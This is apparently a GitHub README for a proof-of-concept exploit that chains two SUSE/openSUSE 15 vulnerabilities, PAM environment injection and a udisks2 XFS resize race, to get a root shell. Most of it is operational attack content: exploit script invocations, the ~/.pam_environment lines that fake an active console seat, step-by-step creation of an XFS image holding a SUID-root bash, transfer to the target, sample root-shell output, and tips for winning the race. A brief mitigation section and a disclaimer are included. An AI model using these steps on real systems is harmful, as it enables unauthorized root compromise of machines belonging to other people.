CVE-2025-6018 CVE-2025-6019 PoC Exploit

Local Privilege Escalation (LPE) - openSUSE / SUSE Linux Enterprise 15

Working PoC/Exploit for CVE-2025-6018 and CVE-2025-6019 - Privilege escalation from unprivileged user to root on openSUSE Leap 15.x and SUSE Linux Enterprise 15.x

🎯 Quick Summary

CVE ID	Vulnerability	Impact
CVE-2025-6018	PAM Environment Variable Injection	Bypass to allow_active polkit status
CVE-2025-6019	udisks2/libblockdev XFS Resize Race Condition	Root shell

Attack Chain

Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 Proof of Concept Demo

# Check vulnerability
./exploit.sh --check

# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup

# Reconnect SSH, then: su - $USER

# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 Installation

git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 Affected Systems

• ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
• ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
• ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ Note: openSUSE Leap 15.6 reaches End of Life on April 30, 2026. After this date, no security patches will be released. Users should migrate to Leap 16.0 or SLES with extended support.

Vulnerable Components

• PAM (Linux-PAM 1.3.0 - 1.6.0) with user_readenv=1
• udisks2 2.9.x with libblockdev
• polkit with allow_active: yes for udisks2 actions

📖 Usage

Option 1: Check Vulnerability

./exploit.sh --check

Option 2: Setup PAM Bypass (CVE-2025-6018)

./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER

Option 3: Exploit (CVE-2025-6019)

./exploit.sh --exploit /tmp/xfs.img

Option 4: Full Auto Mode

./exploit.sh --auto /tmp/xfs.img

Option 5: Show Image Creation Instructions

./exploit.sh --create-image

🛠️ Creating the XFS Payload Image

Run on ATTACKER machine as root:

⚠️ You MUST use the victim's /usr/bin/bash binary, not your local one. A bash binary from a different distro (Kali, Arch, Ubuntu, etc.) will fail on the target due to glibc/shared library ABI mismatch — even on the same x86_64 architecture.

Using the helper script (recommended)

The script auto-detects your xfsprogs version and applies the correct flags:

# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash

# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

Manual creation

sudo su -

# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash

# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUST show: -rwsr-xr-x

# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/

XFS format compatibility

The XFS image must be formatted with flags compatible with the target's kernel. Newer versions of xfsprogs enable on-disk features by default that older SUSE kernels cannot read, causing wrong fs type, bad superblock errors during the udisks2 resize mount.

Target	Kernel	mkfs.xfs command
SUSE 15 SP5-SP6	5.14 / 6.4	mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
SUSE 15 SP1-SP4	4.12 - 5.3	mkfs.xfs -f -m crc=0,reflink=0 xfs.img

Why? exchange and parent are kernel 6.10+ features (default-on in xfsprogs 6.x). bigtime, inobtcount, and nrext64 are kernel 5.10+ features. The SP1-SP4 "compat" command (-m crc=0,reflink=0) creates a V4 XFS format with all modern features disabled, which works on every SUSE 15 SP.

🔬 Technical Details

CVE-2025-6018: PAM Environment Injection

Vulnerability: PAM's pam_env module reads ~/.pam_environment with user_readenv=1 (default on SUSE), allowing environment variable injection.

Exploit: Set XDG_SEAT=seat0 and XDG_VTNR=1 to trick systemd-logind into granting allow_active polkit privileges.

# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019: XFS Resize Race Condition

Vulnerability: When resizing XFS filesystem via udisks2, libblockdev temporarily mounts the filesystem without nosuid flag.

Exploit:

1. Create XFS image with SUID root binary
2. Setup loop device
3. Trigger resize via D-Bus
4. Race to execute SUID binary during temporary mount
5. Get root shell

📋 Full Exploitation Walkthrough

Step 1: Check Vulnerability

./exploit.sh --check

Output:

[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

Step 2: Setup PAM Bypass

./exploit.sh --setup
exit
ssh user@target
su - $USER

Step 3: Verify allow_active

./exploit.sh --check

Output:

[+] allow_active status: YES
    You have allow_active privileges!

Step 4: Transfer XFS Image

# On attacker:
scp xfs.img user@target:/tmp/

Step 5: Exploit

./exploit.sh --exploit /tmp/xfs.img

Output:

[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 Troubleshooting

Issue	Cause	Solution
allow_active: NO	PAM bypass not active	Run --setup, exit SSH, reconnect, run su - $USER
Image is not XFS	Wrong filesystem format	Use mkfs.xfs, not mkfs.ext4
SUID not working	Permissions not set	Verify -rwsr-xr-x permissions on attacker machine
Race condition missed	Timing issue	Run exploit again (usually works in 1-3 attempts)
SUID binary segfaults or GLIBC_x.xx not found	Bash binary from wrong distro (glibc/ABI mismatch)	Use victim's /usr/bin/bash binary via scp, not your local bash
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error	XFS image formatted with features the target kernel can't read (xfsprogs version mismatch)	Create image with mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img for SP5/SP6, or mkfs.xfs -f -m crc=0,reflink=0 xfs.img for SP1-SP4

🛡️ Mitigation

Immediate Fix

# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth

# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"

Vendor Patches

• Update PAM, udisks2, and libblockdev packages
• Check SUSE security advisories

📚 References

• Qualys Security Advisory
• Qualys Technical Write-up
• SUSE CVE-2025-6018
• SUSE CVE-2025-6019
• NVD CVE-2025-6018
• NVD CVE-2025-6019

🏆 Credits

• Qualys Threat Research Unit - Original vulnerability discovery
• DesertDemons - PoC exploit development
• Jazzruran - xfsprogs version mismatch bug report & fix (#1)

⚠️ Disclaimer

This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for any misuse.

📄 License

MIT License

---

🔍 Keywords

CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev XFS Race Condition Security Vulnerability Pentest

---

⭐ Star this repo if it helped you! ⭐